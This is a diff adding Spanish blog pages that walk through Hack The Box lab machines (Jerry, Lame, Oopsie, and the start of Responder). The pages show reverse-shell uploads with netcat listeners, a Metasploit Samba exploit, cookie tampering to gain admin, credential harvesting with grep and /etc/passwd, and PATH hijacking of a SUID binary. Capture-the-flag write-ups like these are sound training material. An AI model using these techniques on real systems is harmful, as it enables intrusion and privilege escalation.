    Una vez creado nuestro archivo shell.war vamos a subirlo a la máquina víctima, pero antes, debemos mover nuestro archivo +al directorio Descargas/Downloads:

    + +

    Captura de pantalla -2022-05-07 15-32-25

    + +

    Ahora, mediante el apartado de la página llamado Archivo WAR a desplegar subimos nuestro archivo shell.war.

    + +

    Captura de pantalla -2022-05-07 15-32-55

    + +

    Captura de pantalla -2022-05-07 15-33-38

    + +

    Captura de pantalla -2022-05-07 15-34-28

    + +

    Captura de pantalla -2022-05-07 15-34-42

    + +

    Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerlo en escucha por el puerto 8080 mediante nc como se +trata de un sistema Windows utilizaremos rlwarp:

    + +
    rlwrap nc -lvnp 8080
    +
    + +

    Captura de pantalla -2022-05-09 11-07-21

    + +

    Captura de pantalla -2022-05-09 11-07-30

    + +

    Ahora, para ejecutar el archivo, simplemente nos vamos a la página y lo pulsamos.

    + +

    Captura de pantalla -2022-05-09 11-49-32

    + +

    Vemos como la shell se nos despliega en la terminal que tenemos en escucha con Netcat.

    + +

    Captura de pantalla -2022-05-09 11-55-16

    + +

    Está máquina ya está básicamente terminada, ya que las dos flags se encuentran en el mismo archivo, el cual se encuentra en el directorio +C:\Users\Administrator\Desktop\flags:

    + +
    cd /Users/Administrator/Desktop/flags
    +
    + +

    Vemos como dentro del directorio flags se encuentra el archivo 2 for the price at 1.txt

    + +

    Captura de pantalla -2022-05-09 12-01-47

    + +

    Y finalmente, mediante type podemos visualizar el contenido:

    + +

    Captura de pantalla -2022-05-07 15-59-28

    + +

    Captura de pantalla -2022-05-09 09-36-58

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_lame.html b/Web/htb_lame.html new file mode 100644 index 00000000000..d9bac3e45fc --- /dev/null +++ b/Web/htb_lame.html @@ -0,0 +1,354 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + +
    Captura de pantalla -2022-05-09 12-57-37
    + +

    HTB-Lame

    + +

    Fase de Reconocimiento

    + +

    En primer lugar, debemos asegurar que estamos conectados a la víctima y tratar de recopilar la máxima información posible.

    + +

    Para verificar la conexión y tener una primera toma de contacto utilizaremos el comando ping.

    + +
    ping 10.10.10.3
    +
    + +

    Mediante este comando podemos obtener la siguiente información:

    + +
      +
    • Verificar la conexión.
    • +
    • La latencia. Podemos observar el tiempo de recorrido +de un paquete.
    • +
    • Podemos obtener la Ip de un dominio.
    • +
    • +

      Determinar si estamos frente a un SO Linux o Windows: + Windows ttl = 128 + Linux ttl = 64

      + +

      nmap -p- –open -T5 -v -n 10.10.10.3 -oG allPorts

      +
    • +
    + +

    Captura de pantalla -2022-05-07 17-30-56

    + +

    -p- : Escanea todo el rango de puertos.

    + +

    --open : Solo nos mostrará puertos con el estatus abierto.

    + +

    -T5 : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido.

    + +

    -v : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola.

    + +

    -n : Anula la resolución DNS.

    + +

    -oG : Exportar los resultados en formato grepeable.

    + +

    allPorts : Nombre del archivo. Si no existe lo creará.

    + +

    De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento.

    + +

    Captura de pantalla -2022-05-07 17-32-33

    + +

    Tras conocer los puertos TCP abiertos, realizaremos un segundo escaneo enfocado en los puertos abiertos para ver la información que nos reportan y + exportarlo en formato nmap al archivo ‘targed’.

    + +
    nmap -sC -sV -n -v -p21,,22,139,445,3632 -oN target
    +
    + +

    Captura de pantalla -2022-05-07 17-34-44

    + +

    -sC : Lanza scrips básicos de reconocimiento.

    + +

    -sV : Localiza la versión y servicio de los puertos definidos.

    + +

    -p : Puertos a escanear.

    + +

    -oN : Reporta los resultados en formato nmap al archivo target.

    + +

    Captura de pantalla -2022-05-07 17-52-38

    + +

    Vemos que en el puerto 21/tcp corre un servicio ftp con la versión vsftpd 2.3.4. Vamos a tratar de buscar alguna vulnerabilidad para esta versión +en concreto. Para realizar la búsqueda utilizaremos la herramienta searchsploit. En caso de no tenerlo lo instalamos:

    + +
    sudo apt install searchsploit
    +
    + +

    Luego lo ejecutamos y le especificamos la versión para que nos busque el exploit adecudo:

    + +
    searchsploit vsftpd
    +
    + +

    Captura de pantalla -2022-05-07 17-52-16

    + +

    Vemos como para la versión 2.3.4 existe una herramienta llamada Backdoor Command Execution (Metasploit) alojado en el PATH unix/remote/17491.rb. +Veamos el código a ver que información utiliza para vulnerar está versión:

    + +
    searchsploit -x unix/remote/17491.rb
    +
    + +

    -x : Para examinar un archivo.

    + +

    Captura de pantalla -2022-05-09 13-07-04

    + +

    Captura de pantalla -2022-05-09 13-07-35

    + +

    Esta herramienta, por lo que parece, usa una serie de cadenas en el usuario para tratar de ganar acceso por el puerto 6200. Yo lo he intentado +manualmente y mediante Metasploit y no he podido acceder mediante esta herramienta.

    + +

    Captura de pantalla -2022-05-09 13-01-26

    + +

    Al ver que esto no funcionaba, busque otro vector de ataque y vemos que por los puertos 139 y 445 corre un servicio Samba.

    + +

    Captura de pantalla -2022-05-09 13-17-47

    + +

    Vemos también que en el puerto 445 nos indica la versión 3.0.20, así que buscamos sobre este servicio:

    + +
    searchsploit samba 3.0.20
    +
    + +

    Captura de pantalla -2022-05-09 13-22-01

    + +

    Metasploit

    + +

    Vamos a tratar de acceder mediante Metasploit empleando la herramienta reportada anteriormente. En primer lugar, ejecutamos Metasploit:

    + +
    msfconsole
    +
    + +

    Buscamos la versión de Samba para asegurarnos que tenemos la herramienta y ver donde se aloja:

    + +
    search samba 3.0.20
    +
    + +

    Captura de pantalla -2022-05-09 13-30-56

    + +

    Ahora, mediante la variable options podemos ver los campos que tenemos que rellenar para poder realizar el ataque.

    + +

    Captura de pantalla -2022-05-09 13-32-08

    + +

    Para cambiar los campos empleamos la variable set y el campo que deseamos cambiar. Primero introduciremos el localhost LHOST, es nuestra IP o en este caso +la IP de la VPN de Hack the Box:

    + +

    Captura de pantalla -2022-05-09 13-35-27

    + +

    Ahora especificamos el puerto de escucha, yo voy a utilizar el 8080:

    + +

    Captura de pantalla -2022-05-09 13-33-13

    + +

    Ahora especificaremos de la misma manera el remote host RHSOT en este caso la Ip de la máquina:

    + +

    Captura de pantalla -2022-05-09 13-34-53

    + +

    Y finalmente el puerto abierto RPORT por el que corre el servicio Samba, en este caso el puerto 139, este campo se suele +rellenar de forma automática.

    + +

    Captura de pantalla -2022-05-09 13-52-53

    + +

    Y finalmente ejecutamos Metasploit:

    + +
    exploit
    +
    + +

    Captura de pantalla -2022-05-09 13-36-49

    + +

    Vemos como nos crea la shell y que a de más estamos registrados como root.

    + +

    Finalmente, como estamos registrados como root podemos buscar las flags sin ningún problema. Vemos que la flag del usuario la +podemos encontrar en el directorio /home/makis/user.txt.

    + +

    Captura de pantalla -2022-05-09 13-39-09

    + +

    Y que la flag del usuario root lo podemos encontrar en el directorio /root/root.txt.

    + +

    Captura de pantalla -2022-05-09 13-37-35

    + +

    Captura de pantalla -2022-05-07 18-32-07

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_oopsie.html b/Web/htb_oopsie.html new file mode 100644 index 00000000000..1275b04fe66 --- /dev/null +++ b/Web/htb_oopsie.html @@ -0,0 +1,784 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + +

    HTB-Oopsie

    + +

    background2

    + +

    Captura de pantalla -2022-04-12 20-08-28

    + +

    En primer lugar, vamos a comprobar si tenemos conexión + con la máquina. Y si podemos averiguar el sistema + operativo que utiliza mediante el ttl.

    + +
    ping [Ip Víctima]
    +
    + +

    Captura de pantalla -2022-04-12 20-04-31

    + +

    Podemos observar que tiene un ttl=63, por tanto, ya + sabemos que estamos frente a una máquina Linux.

    + +

    Ahora podemos escanear los puertos mediante nmap.

    + +
    nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts
    +
    + +

    Captura de pantalla -2022-04-12 20-11-38

    + +

    Esto nos guardará los puertos abiertos en el archivo + ‘allPorts’ por si posteriormente queremos revisarlos + de manera rápida accediendo al archivo guardado en + nuestro directorio mediante la herramienta ‘extractPorts’.

    + +

    Puedes encontrar la descripción y la herramienta extractPorts + creada por S4vitar en mi repositorio: ExtractPorts

    + +

    Es este caso podemos observar los siguientes puertos + abiertos por el protocolo TCP:

    + +

    Captura de pantalla -2022-04-12 20-16-22

    + +
    PORT  STATE SERVICE
    +
    +22/tcp open  ssh
    +
    +80/tcp open  http
    +
    + +

    Ahora pasaremos a realizar un escaneo más exhaustivo:

    + +
     nmap -sC -sV -v -p22,80 [Ip Víctima] -oN target
    +
    + +

    Captura de pantalla -2022-04-12 20-18-19

    + +

    -sC : Lanza scrips básicos de reconocimiento.

    + +

    -sV : Localiza la versión y servicio de los puertos + definidos.

    + +

    -p : Puertos a escanear. Ej: -p22,80

    + +

    -oN : Reporta los resultados en formato nmap al archivo + targed.

    + +

    Este escaneo, al igual que el anterior, nos guardará los + resultados en nuestro directorio en el archivo ‘target’.

    + +

    Captura de pantalla -2022-04-12 20-18-36

    + +

    Como podemos observar, obtenemos la siguiente información:

    + +

    -Puerto 22 corre un servicio ssh con la versión + OpenSSH 7.6p1.

    + +

    -Puerto 80 corre un servicio http operativo con la versión Apache httpd 2.4.29.

    + +

    Nos dirigimos al buscador y trataremos de introducir la Ip como host para ver si nos redirige hacia alguna + página web.

    + +

    Efectivamente, la dirección http://[Ip Víctima] nos muestra una página web sobre vehículos eléctricos.

    + +

    Captura de pantalla -2022-04-12 20-21-26

    + +

    Bueno, tras investigar un poco la página podemos ver como ningúna de las pestañas esta activa, tambien podemos + ver en la parte inferior de la página, en un apartado llamado Services, nos indica que porfavor nos registremos + para tener acceso al servicio.

    + +

    Captura de pantalla -2022-04-12 20-29-57

    + +

    Por lo que podemos suponer que tiene que existir alguna página de registro por la que poder acceder. + Visto esto vamos a echar un vistazo al código fuente de la página para ver si encontramos alguna dirección + de registro.

    + +

    Para ver el código fuente de una página, clic derecho sobre la página y luego ‘Ver código fuente de la página’.

    + +

    Captura de pantalla -2022-04-12 20-35-40

    + +

    En la parte final del ćodigo podemos ver como muestra un directorio login. Vamos a tratar de acceder a él mediante + el buscador para ver que nos reporta.

    + +

    Captura de pantalla -2022-04-12 20-38-21

    + +

    Ahora tenemos un sitio desde el que acceder. Ya que desconocemos el usuario y la contraseña (yo he probado los + más comunes y no he tenido suerte) vamos a acceder como invitados. Para ello le daremos a la opción Login as + Gues y tendremos acceso como invitados.

    + +

    Captura de pantalla -2022-04-12 20-43-14

    + +

    Podemos ver que tenemos diferentes pestañas, vamos a revisarlas una por una para ver la información que nos +aportan:

    + +

    Account

    + +

    Captura de pantalla -2022-04-12 20-46-08

    + +

    Dentro de account tenemos información sobre el usuario guest, un Access Id, su nombre y un correo electrónico. +Luego he revisado el código fuente, pero en este caso no me ha reportado mucha información.

    + +

    También es interesante ver la url de la página, ya que nos asigna una id=2.

    + +

    Captura de pantalla -2022-04-12 20-48-35

    + +

    Tras inspeccionar las cookies es donde encontramos algo interesante.

    + +

    Captura de pantalla -2022-04-12 20-54-39

    + +

    Podemos ver como está página utiliza cookies de inicio de sesión, en caso de tener otro role y otro user, podríamos +intentar cambiarlos y ganar acceso a otra cuenta.

    + +

    Bien, ahora pasaremos a la siguiente pestaña a ver que más nos puede reportar.

    + +

    Branding

    + +

    Captura de pantalla -2022-04-12 21-39-41

    + +

    Aquí podemos ver como se nos asigna una Brand Id = 2 y también podemos ver como las cookies de inicio de sesión +se mantienen.

    + +

    Clients

    + +

    Captura de pantalla -2022-04-12 21-43-09

    + +

    Vemos como se nos continua asignando una ID = 2 y nos muestra un nombre ‘client’.

    + +

    Uploads

    + +

    Captura de pantalla -2022-04-12 21-45-19

    + +

    Esta pestaña es muy interesante, ya que parece que sirve para subir archivos a la página. El único problema +es que no tenemos permisos de ‘súper admin’.

    + +

    En caso de tenerlos podríamos subir algún archivo para tratar de vulnerar la máquina o de escalar privilegios.

    + +

    Recopilación de toda la información:

    + +

    Tras investigar por todas las pestañas, lo más interesante que he encontrado es que todos los id del usuario +actual son iguales a 2.

    + +

    También me llama la atención como en la url de la pestaña nos especifica la id=2

    + +

    Captura de pantalla -2022-04-12 21-54-39

    + +

    Y otra cosa importante, son las cookies de inicio de sesión que hemos encontrado.

    + +

    Ahora, tras conocer toda esta información, lo que podemos hacer es probar otras ‘id’ en la url de la pestaña +‘Account’. Simplemente, introducimos la misma url, pero probamos con otros valores (0,1,3,4,…).

    + +

    Captura de pantalla -2022-04-12 22-00-19

    + +

    El primer intento ha sido con 0 y vemos como no ha tenido resultado.

    + +

    Captura de pantalla -2022-04-12 22-01-14

    + +

    Al segundo intento, mediante el número id=1 vemos como nos reporta información de un usuario llamado ‘admin’. Pero +nosotros buscamos al usuario ‘super admin’, ya que es el que tiene pleno acceso a la carga de archivos de la +pestaña Upload, así que seguimos probando.

    + +

    Captura de pantalla -2022-04-12 22-02-47

    + +

    Vemos como tras muchos intentos vacíos, nos muestra algunos usuarios.

    + +

    Captura de pantalla -2022-04-12 22-03-43

    + +

    Finalmente, tras 30 intentos, lo conseguimos. El id=30 pertenece al usuario ‘super admin’.

    + +

    Captura de pantalla -2022-04-12 22-04-28

    + +

    Cookies de inicio de sesión:

    + +

    Ya conoces el Acces ID (86575) y el Name (super admin), ahora tenemos que iniciar sesión como ese usuario. +Tras probar a iniciar sesión desde la página anterior de registro a la que accedimos como ‘Gues’, veo que +no me permite entrar, ya que aun desconocemos la contraseña.

    + +

    Entonces utilizaremos las cookies de inicio de sesión para intentar acceder como super admin. Para ello, en la +misma pestaña de Account, pulsamos clic derecho sobre la página y pulsamos ‘Inspeccionar’, dentro nos desplazaremos +hasta la pestaña ‘Almacenamiento’.

    + +

    Captura de pantalla -2022-04-12 22-24-01

    + +

    Dentro de ‘Almacenamiento’ veremos una pestaña llamada ‘Cookies’ y el dominio de la página. Bueno, pues el truco +consiste en cambiar los parametros ‘role’ y ‘user’ actuales por los del super admin.

    + +

    Captura de pantalla -2022-04-12 22-25-21

    + +

    Una vez introducimos los nuevos datos, recargamos la página y ya tendríamos acceso como super admin. +Para comprobarlo, nos vamos a la pestaña Uploads y vemos como ya nos permite subir archivos.

    + +

    Captura de pantalla -2022-04-12 22-26-27

    + +

    NetCat y Reverse-Shell

    + +

    Bueno, ahora que ya podemos subir archivos al sistema, vamos a probar a crear una reverse-shell.php, ya que la +url utiliza archivos ‘.php’.

    + +

    Captura de pantalla -2022-04-13 12-05-12

    + +

    ########################### php-reverse-shell.php ################################

    + +

    En caso de utilizar Kali Linux o Parrot, lo más seguro es que ya tengáis una reverse-shell en vuestros repositorios. +En mi caso que utilizo parrot, si realizamos una búsqueda del archivo ‘php-reverse-shell.php’ podemos ver como se +aloja en los siguientes directorios:

    + +

    Captura de pantalla -2022-04-13 12-05-12

    + +

    En mi caso me aparece en dos repositorios y luego yo he realizado una copia en la carpeta Descargas para poder +configurar con nuestros datos nuestra reverse-shell. Es importante copiar el archivo en la carpeta ‘Descargas’, +ya que será difícil buscar nuestro archivo desde la página de Uploads a la hora de subirlo.

    + +

    En caso de no tener el archivo php-reverse-shelll.php en vuestro sistema, lo podéis encontrar en mi repositorio +de GitHub mediante el siguiente enlace: https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php

    + +

    Para tenerlo, simplemente lo copiáis, abrís una terminal y crearemos el archivo mediante nano:

    + +
    nano php-reverse-shell.php
    +
    + +

    Pegamos todo el script, guardamos (Cntrl + o) y salimos (Cntrl + x).

    + +

    Configurar nuestra reverse-shell:

    + +

    Ya tendríamos la reverse-shell, ahora solo faltaría configurarla. Para ello, desde el directorio en el que esté +el archivo php-reverse-shell.php (recomiendo que sea Descargas), mediante el comando nano cambiaremos la Ip por +la nuestra y estableceremos un puerto, desde el cual, posteriormente con NetCat nos pondremos en escucha.

    + +

    La configuración es muy simple, lo único que tenemos que hacer es cambiar la Ip +por la de nuestro sistema y establecer el puerto por el que queremos ponernos +en escucha.

    + +

    Abrimos una terminar y modificamos el archivo php-reverse-shell.php

    + +
    sudo nano php-reverse-shell.php
    +
    + +

    Captura de pantalla -2022-04-13 12-42-02

    + +

    Establecemos nuestra Ip (tun0) y el puerto de escucha (en este ejemplo usaremos el 8080). Para saber +cuál es nuestra Ip, podemos verlo mediante el comando ‘ipconfig’:

    + +
    sudo ifconfig
    +
    + +

    Captura de pantalla -2022-04-13 13-01-50

    + +

    Captura de pantalla -2022-04-13 12-42-15

    + +

    Guardamos (Cntrl + o) y salimos (Cntrl + x).

    + +

    Ya tendríamos nuestro archivo php-reverse-shell.php preparado. Ahora lo siguiente seria tratar de subirlo a la +página desde la pestaña Uploads.

    + +

    (NOTA: La Ip de la máquina que yo os muestro a lo largo del write-up va cambiando debido a que realizarlo +ha llevado horas y he tenido que reiniciar varias veces la máquina)

    + +

    Captura de pantalla -2022-04-13 13-05-15

    + +

    Para ello simplemente vamos a la página, pulsamos examinar:

    + +

    Captura de pantalla -2022-04-13 13-05-24

    + +

    Seleccionamos nuestra reverse-shell:

    + +

    Captura de pantalla -2022-04-13 13-05-48

    + +

    Y finalmente pulsamos Upload:

    + +

    Captura de pantalla -2022-04-13 13-06-14

    + +

    Perfecto, ya tendríamos nuestro archivo subido.

    + +

    Captura de pantalla -2022-04-13 13-06-42

    + +

    Ahora faltaría preparar nuestro NetCat para que se ponga en modo escucha por el puerto 8080. + Antes de probar el 8080 probé otros con el cual no conseguí establecer conexión para que + lo tengáis en cuenta.

    + +

    Para ponernos en escucha, abrimos una terminal y ejecutamos el siguiente comando:

    + +
     nc -lnvp 8080
    +
    + +

    -l : Sirve para que Netcat abra un puerto y se mantenga ala escucha. Se aceptará una única conexión de un + único cliente antes de cerrarse.

    + +

    -n : Direcciones IP solo numéricas, sin DNS.

    + +

    -v : Se usa para mostrar información acerca de la conexión.

    + +

    -p : Esta opción permite especificar el puerto al que conectarse.

    + +

    Captura de pantalla -2022-04-13 13-25-27

    + +

    El siguiente paso sería ejecutar el archivo php-reverse-shell.php que hemos almacenado en la +máquina víctima. El único problema es que no sabemos donde se ha almacenado nuestro archivo. +Para encontrar nuestro archivo utilizaremos la herramienta ‘gobuester’.

    + +

    Gobuster

    + +

    Gobuster es una herramienta utilizada para la fuerza bruta de búsqueda de URL, incluidos directorios y archivos, +así como subdominios DNS.

    + +

    Para instalarlo simplemente ejecutamos:

    + +
    sudo apt install gobuster
    +
    + +

    Y también tendremos que descargar los repositorios de direcciones, en esta ocasión utilizaremos un + repositorio llamado ‘wordlists’ y en concreto la lista de directorios ‘directory-list-2.3-small.txt.

    + +

    Podéis descargaros estas bibliotecas de directorios desde la misma página de github, existen un montón + de variantes en función del sistema a explotar. De todas formas revisar primero si ya existe en + vuestro sistema, ya que algunos SO traen repositorios instalados.

    + +

    Para descargar o copiar:

    + +

    https://gist.github.com/sl4v/c087e36164e74233514b

    + +

    En ese enlace encontraréis la biblioteca que vamos a utilizar, yo recomiendo instalarlo en el siguiente + directorio, si el directorio no existe crearlo.:

    + +
    /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt   
    +
    + +

    Bien, ya tenemos nuestro Gobuster y nuestra biblioteca de directorios, ahora toca lanzar la herramienta a ver + que nos reporta:

    + +
    gobuster dir --url http://[Ip Víctima]/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
    +
    + +

    Ahora gobuster empezará a realizar pruebas y a mostrarnos resultados a medida que avanza. No tenemos que esperar a + que finalice, simplemente fijaros en cuales son los directorios que reporta y ir probando a ver cuáles son + funcionales.

    + +

    Captura de pantalla -2022-04-13 13-56-08

    + +

    Para el proceso: Cntrl + c

    + +

    En este caso hemos tenido suerte, ya que al poco de buscar ha encontrado una ruta que nos dirige al directorio + Uploads.

    + +
    http://[Ip Víctima]/uploads/
    +
    + +

    Una vez hecho esto nos dirigiremos al navegador y trataremos de introducir la siguiente ruta:

    + +
    http://[Ip Víctima]/uploads/php-reverse-shell.php
    +
    + +

    Captura de pantalla -2022-04-13 13-46-48

    + +

    Una vez realizado esto, volvemos a la terminal donde se encontraba el ‘netcat’ y debería de haberse abierto + nuestra shell.

    + +

    Captura de pantalla -2022-04-13 13-48-41

    + +

    Efectivamente, ya tenemos nuestra reverse-shell preparada y activa.

    + +

    # Búsqueda de la primera Flag:

    + +

    Una vez tengamos la shell activa, podemos ver los directorios mediante ls:

    + +

    Captura de pantalla -2022-04-13 14-59-23

    + +

    Vamos a ver que Usuarios tenemos registrados en el sistema, para ello nos dirigimos al directorio /home y vemos + que existe el usuario ‘robert’.

    + +

    Captura de pantalla -2022-04-13 15-00-24

    + +

    Y bingo!! Dentro del directorio ‘robert’ podemos ver el archivo ‘user.txt’ que contiene la primera Flag.

    + +

    Captura de pantalla -2022-04-13 15-00-44

    + +

    Mediante el comando ‘cat’ podemos ver en la terminal el contenido del archivo:

    + +
     cat user.txt
    +
    + +

    Captura de pantalla -2022-04-13 15-02-39

    + +

    Ahora, para poder trabajar de manera más cómoda y tratar de escalarar privilegios, primero, abriremos una shell +más funcional. Para ello volvemos al directorio principal mediante cd y ejecutamos el siguiente comando:

    + +
    python3 -c 'import pty;pty.spawn("/bin/bash")' 
    +
    + +

    Captura de pantalla -2022-04-21 08-17-19

    + +

    Captura de pantalla -2022-04-21 08-17-46

    + +

    Bien, ahora ya tenemos una shell más segura y funcional. Ya hemos visto que con el usuario actual no podemos +hacer mucho más, ya que tenemos el acceso restringido al sistema.

    + +

    Ya que el sitio web utiliza PHP y SQL, podemos tratar de comprobar el directorio web en busca de posibles +divulgaciones o configuraciones incorrectas.

    + +

    Para ello revisamos los directorios situados en ‘/var/www/html/’. Tras revisar los distintos directorios, podemos +ver uno con el nombre ‘login’ (/var/www/html/cdn-cgi/login) que contiene distintos archivos.

    + +

    Captura de pantalla -2022-04-21 08-26-47

    + +

    Aparecen tres archivos ‘.php’ y uno ‘.js’, el siguiente paso sería buscar información en el codigo fuente de cada +archivo. Para ello, buscaremos cadenas interesantes con el uso de la herramienta ‘grep’.

    + +

    Grep es una herramienta que busca patrones en cada archivo e imprime las líneas que coinciden con los patrones. +Junto a esta herramienta podemos utilizar el comanado ‘cat’ para leer todos los archivos filtrados por ‘grep’.

    + +

    Con grep utilizaremos el patrón ‘passw’ para tratar de roportar todas los resultados con ese inicio de palabra (como +passwd o password por ejemplo). También usaremos -i para ignorar las palabras sensibles a mayúsculas y minúsculas +como por ejemplo las contraseñas en este caso.

    + +
    cat * | grep -i passw*
    +
    + +

    Captura de pantalla -2022-04-21 08-43-19

    + +

    Genial, podemos ver como nos reporta un username = “admin” y una password = “MEGACORP_4dm1n!!”.

    + +

    Para poder verificar los usuarios disponibles en el sistema, podemos leer el archivo /etc/passwd y tratar + de reutilizar la contrasña encontrada en alguna cuenta con altros privilegios.

    + +
    cat /etc/passwd
    +
    + +

    Captura de pantalla -2022-04-21 08-51-23

    + +

    Podemos ver como tenemos un usuario llamado ‘robert’. Vamos a tratar de entrar como este usuario mediante el +comando ‘su’ y con la contraseña previamente encontrada.

    + +
    su robert
    +
    + +

    Captura de pantalla -2022-04-21 08-56-29

    + +

    Podemos ver que la contraseña no corresponde con este usuario. Como no nos sirve está contraseña, vamos a seguir +revisando los archivos “.php” y “.js” de manera manual en busca de algo más.

    + +

    Tras revisar los cuatro archivos, vemos que en el archivo ‘db.php’ encontramos la siguiente información:

    + +
    cat db.php
    +
    + +

    Captura de pantalla -2022-04-21 09-02-58

    + +

    Como podéis ver aparecen cuatro palabras que podemos probar como contraseñas, tras probarlas vemos como la +contraseña del usuario ‘robert’ es “M3g4C0rpUs3r!”

    + +
    su robert
    +
    + +

    Captura de pantalla -2022-04-21 09-08-58

    + +

    Finalmente, estamos como el usuario ‘robert’, podemos comprobarlo utilizando el comando ‘whoami’:

    + +

    Captura de pantalla -2022-04-21 09-10-00

    + +

    Ahora podemos ir al directorio principal /home/robert y veremos como ahí está nuestro archivo user.txt con +nuestra primera flag que ya habíamos visto anteriormente sin necesidad de ningún privilegio.

    + +
    cd /home/robert
    +                      
    +cat user.txt
    +
    + +

    Captura de pantalla -2022-04-21 09-12-12

    + +

    Pero nosotros lo que buscamos es la flag del super usuario y para ello debemos de escalar privilegios.

    + +

    Escalada de Privilegios.

    + +

    En primer lugar, trataremos de iniciar sesión como super usuario mediante ‘sudo’:

    + +
    sudo su robert
    +
    + +

    Captura de pantalla -2022-04-21 09-27-12

    + +

    Tras probar las contraseñas previamente recopiladas vemos como ninguna parece funcionar. Vamos a seguir buscando +información, está vez, vamos a revisar los grupos en los que forma parte el usuario ‘robert’, para ello +utilizaremos el comando ‘id’:

    + +

    Captura de pantalla -2022-04-21 09-33-56

    + +

    Vemos como el usuario robert es parte del grupo ‘bugtracker’. Ahora, intentemos ver si hay algún +binario dentro de ese grupo:

    + +
    find / -group bugtracker 2>/dev/null
    +
    + +

    Captura de pantalla -2022-04-21 09-42-23

    + +

    Nos ha reportado un archivo llamado ‘bugtracker’. Ahora comprobamos qué privilegio y qué tipo de archivo es:

    + +
    ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker
    +
    + +

    Captura de pantalla -2022-04-21 09-47-02

    + +

    Podemos ver que existe un conjunto ‘SUID’ en ese binario, este es un buen camino de explotación para tratar de +escalar privilegios.

    + +

    Un archivo SUID siempre se ejecuta como el usuario propietario del archivo, independientemente de que usuario +pase el comando.

    + +

    En nuestro caso, el ‘butracker’ binario es propiedad de ‘root’ y por tanto, podemos ejecutalo como root ya +que tiene configurado SUID.

    + +

    Para ello ejecutamos ‘bugtacker’:

    + +
    /usr/bin/bugtracker 
    +
    + +

    Captura de pantalla -2022-04-21 09-57-05

    + +

    En mi caso probé con ‘home’ para ver que me reportaba:

    + +

    Captura de pantalla -2022-04-21 10-01-29

    + +

    La herramienta acepta la entrada del usuario como nombre del archivo que se leerá con el comando ‘cat’. Sin embargo, no especifica la ruta completa al archivo ‘cat’ y podríamos aprovechar esto.

    + +

    Para ello nos dirigiremos al directorio ‘/tmp’:

    + +
    cd /tmp
    +
    + +

    Captura de pantalla -2022-04-21 10-49-05

    + +

    Y crearemos un archivo ‘cat’ que contenga la siguiente ruta ‘/bin/sh’:

    + +
    echo '/bin/sh' > cat
    +
    + +

    Captura de pantalla -2022-04-21 10-49-22

    + +

    Ahora le tenemos que dar privilegios de ejecución:

    + +
    chmod +x cat
    +
    + +

    Captura de pantalla -2022-04-21 10-49-52

    + +

    Una vez preparado el archivo ‘cat’, debemos agregar el directorio /tmp a la variable ambiental PATH.

    + +

    PATH es una variable de entorno en sistemas operativos similares a Unix, DOS, OS/2 y Microsoft Windows, que especifica un conjunto de directorios donde se encuentran los programas ejecutables.

    + +

    Por tanto, debemos introducir el directorio ‘tmp’ en el archivo PATH +para poder ejecutarlo correctamente. Para ello utilizamos el siguiente comando:

    + +
    export PATH=/tmp:$PATH
    +
    + +

    Captura de pantalla -2022-04-21 10-48-24

    + +

    Para confirmar que todo ha salido correctamente y verificar que el directorio ‘tmp’ está en PATH:

    + +
    echo $PATH
    +
    + +

    Captura de pantalla -2022-04-25 15-40-24

    + +

    Ahora, volvemos a ejecutar ‘bugtracker’ desde el directorio ‘/tmp’:

    + +

    Captura de pantalla -2022-04-25 15-46-04

    + +

    Genial, ya estamos registrados como ‘root’. Finalmente, nos dirigimos al directorio ‘/root’ donde encontramos el archivo ‘root.txt.’.

    + +

    Para poder leer el archvio nos registramos como super usuarios:

    + +
    sudo su
    +
    + +

    Y abrimos el archivo con ‘cat’ donde encontramos la última Flag:

    + +
    cat root.txt
    +
    + +

    background2

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_responder.html b/Web/htb_responder.html new file mode 100644 index 00000000000..4ecff7e8b26 --- /dev/null +++ b/Web/htb_responder.html @@ -0,0 +1,506 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + +

    HTB-Responder

    + +

    HTB-RESPONDER

    +

    Resolución de la starting_point de HTB Responder.

    + +

    En primer lugar debemos asegurar que estamos conectados a la víctima y tratar de recopilar la máxima información posible.

    + +

    PING

    + +

    Para verificar la conexión y tener una primera toma de contacto utilizaremos el comando ping.

    + +
    ping [Ip Víctima]
    +
    + +

    Mediante este comando podemos obterner la siguiente información:

    + +
      +
    • Verificar la conexión.
    • +
    • La latencia. Podemos observar el tiempo de recorrido de un paquete.
    • +
    • Podemos optener la Ip de un dominio.
    • +
    • Determinar si estamos frente a un SO Linux o Windows: + Windows ttl = 128 + Linux ttl = 64
    • +
    + +

    Captura de pantalla -2022-04-11 18-56-44

    + +

    Como podemos ver tenemos conexión ya que nos devuelve los paquetes enviados y tambien podemos determinar que estamos frente a una máquina Windows, ya +que nos muestra un ttl=127.

    + +

    NMAP

    + +

    Tras conocer la máquina a la que nos enfrentamos pasaremos analizar los protocolos tcp/udp.

    + +

